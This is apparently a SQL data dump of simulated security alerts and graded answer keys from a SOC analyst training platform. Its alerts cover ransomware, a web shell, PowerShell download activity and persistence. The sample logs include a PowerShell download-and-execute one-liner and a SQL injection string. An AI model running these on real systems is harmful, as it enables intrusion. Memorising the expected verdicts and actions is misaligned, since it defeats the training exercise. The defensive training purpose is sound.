INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(363, 'Ransom Note and Communication', 'critical', 'Incident Response Team', 'A ransom note has appeared on encrypted systems, instructing the company to contact the attackers for decryption keys. The note includes specific communication channels and requests for payment in cryptocurrency. The Incident Response Team is working to find a flaw in the encryption while simulating negotiations with the attackers.', 'Ransomware Note', 'T1486 - Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-21T14:45:00Z\",\"event\":\"Ransomware Note Detected\",\"source_ip\":\"192.168.15.45\",\"destination_ip\":\"203.0.113.5\",\"ransom_note_filename\":\"READ_ME.txt\",\"ransom_note_content\":\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\",\"attacker_email\":\"attacker@example.com\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"j.doe\",\"severity\":\"Critical\",\"encryption_algorithm\":\"AES-256\",\"affected_systems\":[\"10.0.0.5\",\"10.0.0.10\"]}', '2026-01-03 00:50:36', '2026-02-18 11:11:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"email reputation service\",\"verdict\":\"malicious\",\"details\":\"Email address associated with ransom demands.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash of the ransomware binary detected.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"READ_ME.txt\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"suspicious\",\"details\":\"Common filename for ransom notes.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.959Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:45:00Z\\\",\\\"event\\\":\\\"Ransomware Note Detected\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"ransom_note_content\\\":\\\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\\\",\\\"attacker_email\\\":\\\"attacker@example.com\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"j.doe\\\",\\\"severity\\\":\\\"Critical\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"affected_systems\\\":[\\\"10.0.0.5\\\",\\\"10.0.0.10\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:18.959Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:45:00Z\\\",\\\"event\\\":\\\"Ransomware Note Detected\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"ransom_note_content\\\":\\\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\\\",\\\"attacker_email\\\":\\\"attacker@example.com\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"j.doe\\\",\\\"severity\\\":\\\"Critical\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"affected_systems\\\":[\\\"10.0.0.5\\\",\\\"10.0.0.10\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:18.959Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:45:00Z\\\",\\\"event\\\":\\\"Ransomware Note Detected\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"ransom_note_content\\\":\\\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\\\",\\\"attacker_email\\\":\\\"attacker@example.com\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"j.doe\\\",\\\"severity\\\":\\\"Critical\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"affected_systems\\\":[\\\"10.0.0.5\\\",\\\"10.0.0.10\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:18.959Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:45:00Z\\\",\\\"event\\\":\\\"Ransomware Note Detected\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"ransom_note_content\\\":\\\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\\\",\\\"attacker_email\\\":\\\"attacker@example.com\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"j.doe\\\",\\\"severity\\\":\\\"Critical\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"affected_systems\\\":[\\\"10.0.0.5\\\",\\\"10.0.0.10\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:18.959Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:45:00Z\\\",\\\"event\\\":\\\"Ransomware Note Detected\\\",\\\"source_ip\\\":\\\"192.168.15.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"ransom_note_content\\\":\\\"All your files have been encrypted. Contact us at attacker@example.com for decryption keys.\\\",\\\"attacker_email\\\":\\\"attacker@example.com\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"j.doe\\\",\\\"severity\\\":\\\"Critical\\\",\\\"encryption_algorithm\\\":\\\"AES-256\\\",\\\"affected_systems\\\":[\\\"10.0.0.5\\\",\\\"10.0.0.10\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(364, 'Suspicious Web Shell Detected on IIS Server', 'high', 'IIS Server Logs', 'A suspicious web shell was detected on a telecommunications provider\'s IIS server. The attacker exploited a web vulnerability to deploy a web shell, gaining initial access.', 'Initial Access', 'T1190', 1, 'Closed', 177, '{\"timestamp\":\"2023-10-25T14:23:45Z\",\"server_ip\":\"192.168.1.50\",\"client_ip\":\"203.0.113.45\",\"http_method\":\"POST\",\"requested_url\":\"/uploads/shell.aspx\",\"response_code\":200,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"session_id\":\"123456abcdef\",\"filename_uploaded\":\"shell.aspx\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"anonymous\"}', '2026-01-03 00:54:31', '2026-02-22 10:33:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous web shell attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"shell.aspx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File commonly used as a web shell for unauthorized access.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a web shell previously identified in attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.960Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:45Z\\\",\\\"server_ip\\\":\\\"192.168.1.50\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/shell.aspx\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"123456abcdef\\\",\\\"filename_uploaded\\\":\\\"shell.aspx\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"anonymous\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.960Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:45Z\\\",\\\"server_ip\\\":\\\"192.168.1.50\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/shell.aspx\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"123456abcdef\\\",\\\"filename_uploaded\\\":\\\"shell.aspx\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"anonymous\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.960Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:45Z\\\",\\\"server_ip\\\":\\\"192.168.1.50\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/shell.aspx\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"123456abcdef\\\",\\\"filename_uploaded\\\":\\\"shell.aspx\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"anonymous\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.960Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:45Z\\\",\\\"server_ip\\\":\\\"192.168.1.50\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/shell.aspx\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"123456abcdef\\\",\\\"filename_uploaded\\\":\\\"shell.aspx\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"anonymous\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.960Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:45Z\\\",\\\"server_ip\\\":\\\"192.168.1.50\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"http_method\\\":\\\"POST\\\",\\\"requested_url\\\":\\\"/uploads/shell.aspx\\\",\\\"response_code\\\":200,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"123456abcdef\\\",\\\"filename_uploaded\\\":\\\"shell.aspx\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"anonymous\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(365, 'Anomalous PowerShell Activity Observed', 'medium', 'PowerShell Logs', 'Unusual PowerShell commands were executed to download additional payloads. This behavior suggests an attempt to leverage legitimate tools for malicious purposes, commonly known as \'living off the land\'.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'Closed', 177, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":4104,\"process_id\":1234,\"script_block_id\":\"abc123\",\"user\":\"jdoe\",\"host\":\"DESKTOP-7A89C4K\",\"ip_address\":\"10.0.0.17\",\"command\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\"\",\"external_ip\":\"203.0.113.45\",\"downloaded_file\":\"malicious.ps1\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\"}', '2026-01-03 00:54:31', '2026-02-22 10:36:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.17\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host executing the PowerShell command.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address known for hosting malicious content.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repositories\",\"verdict\":\"malicious\",\"details\":\"Script associated with known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.961Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4104,\\\"process_id\\\":1234,\\\"script_block_id\\\":\\\"abc123\\\",\\\"user\\\":\\\"jdoe\\\",\\\"host\\\":\\\"DESKTOP-7A89C4K\\\",\\\"ip_address\\\":\\\"10.0.0.17\\\",\\\"command\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\\\\\"\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"downloaded_file\\\":\\\"malicious.ps1\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.961Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4104,\\\"process_id\\\":1234,\\\"script_block_id\\\":\\\"abc123\\\",\\\"user\\\":\\\"jdoe\\\",\\\"host\\\":\\\"DESKTOP-7A89C4K\\\",\\\"ip_address\\\":\\\"10.0.0.17\\\",\\\"command\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\\\\\"\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"downloaded_file\\\":\\\"malicious.ps1\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.961Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4104,\\\"process_id\\\":1234,\\\"script_block_id\\\":\\\"abc123\\\",\\\"user\\\":\\\"jdoe\\\",\\\"host\\\":\\\"DESKTOP-7A89C4K\\\",\\\"ip_address\\\":\\\"10.0.0.17\\\",\\\"command\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\\\\\"\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"downloaded_file\\\":\\\"malicious.ps1\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.961Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4104,\\\"process_id\\\":1234,\\\"script_block_id\\\":\\\"abc123\\\",\\\"user\\\":\\\"jdoe\\\",\\\"host\\\":\\\"DESKTOP-7A89C4K\\\",\\\"ip_address\\\":\\\"10.0.0.17\\\",\\\"command\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\\\\\"\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"downloaded_file\\\":\\\"malicious.ps1\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.961Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":4104,\\\"process_id\\\":1234,\\\"script_block_id\\\":\\\"abc123\\\",\\\"user\\\":\\\"jdoe\\\",\\\"host\\\":\\\"DESKTOP-7A89C4K\\\",\\\"ip_address\\\":\\\"10.0.0.17\\\",\\\"command\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\\\\\"\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"downloaded_file\\\":\\\"malicious.ps1\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(366, 'Creation of Hidden Scheduled Task', 'medium', 'Task Scheduler Logs', 'To ensure persistent access, Gallium APT creates a covert scheduled task, allowing them to execute scripts at regular intervals.', 'Persistence', 'T1053.005', 1, 'Closed', 177, '{\"EventID\":106,\"Timestamp\":\"2023-10-15T14:22:43Z\",\"TaskName\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\HiddenTask\",\"Action\":\"Create\",\"User\":\"COMPANY\\\\jdoe\",\"HostIP\":\"192.168.1.45\",\"AttackerIP\":\"203.0.113.54\",\"FilePath\":\"C:\\\\Windows\\\\System32\\\\hidden_task.ps1\",\"MD5Hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-03 00:54:31', '2026-02-22 10:38:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address linked to Gallium APT\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a malicious script used by Gallium APT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.962Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"Timestamp\\\":\\\"2023-10-15T14:22:43Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\HiddenTask\\\",\\\"Action\\\":\\\"Create\\\",\\\"User\\\":\\\"COMPANY\\\\\\\\jdoe\\\",\\\"HostIP\\\":\\\"192.168.1.45\\\",\\\"AttackerIP\\\":\\\"203.0.113.54\\\",\\\"FilePath\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hidden_task.ps1\\\",\\\"MD5Hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.962Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"Timestamp\\\":\\\"2023-10-15T14:22:43Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\HiddenTask\\\",\\\"Action\\\":\\\"Create\\\",\\\"User\\\":\\\"COMPANY\\\\\\\\jdoe\\\",\\\"HostIP\\\":\\\"192.168.1.45\\\",\\\"AttackerIP\\\":\\\"203.0.113.54\\\",\\\"FilePath\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hidden_task.ps1\\\",\\\"MD5Hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.962Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"Timestamp\\\":\\\"2023-10-15T14:22:43Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\HiddenTask\\\",\\\"Action\\\":\\\"Create\\\",\\\"User\\\":\\\"COMPANY\\\\\\\\jdoe\\\",\\\"HostIP\\\":\\\"192.168.1.45\\\",\\\"AttackerIP\\\":\\\"203.0.113.54\\\",\\\"FilePath\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hidden_task.ps1\\\",\\\"MD5Hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.962Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"Timestamp\\\":\\\"2023-10-15T14:22:43Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\HiddenTask\\\",\\\"Action\\\":\\\"Create\\\",\\\"User\\\":\\\"COMPANY\\\\\\\\jdoe\\\",\\\"HostIP\\\":\\\"192.168.1.45\\\",\\\"AttackerIP\\\":\\\"203.0.113.54\\\",\\\"FilePath\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hidden_task.ps1\\\",\\\"MD5Hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.962Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":106,\\\"Timestamp\\\":\\\"2023-10-15T14:22:43Z\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\HiddenTask\\\",\\\"Action\\\":\\\"Create\\\",\\\"User\\\":\\\"COMPANY\\\\\\\\jdoe\\\",\\\"HostIP\\\":\\\"192.168.1.45\\\",\\\"AttackerIP\\\":\\\"203.0.113.54\\\",\\\"FilePath\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hidden_task.ps1\\\",\\\"MD5Hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(367, 'Unauthorized Access to Network Map', 'medium', 'Network Traffic Analysis', 'The attackers initiated a network scan from an external IP address, attempting to map out the telecom infrastructure. This is part of a lateral movement strategy to identify high-value targets within the network.', 'Lateral Movement', 'T1046', 1, 'Closed', 177, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"TCP\",\"destination_port\":80,\"action\":\"allowed\",\"username\":\"jdoe\",\"filename\":\"network_scan_tool.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event\":\"Network Scan Detected\"}', '2026-01-03 00:54:31', '2026-02-22 10:42:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Local network device\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"network_scan_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"Executable used for unauthorized network scanning\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Repository\",\"verdict\":\"suspicious\",\"details\":\"Hash found in several malware 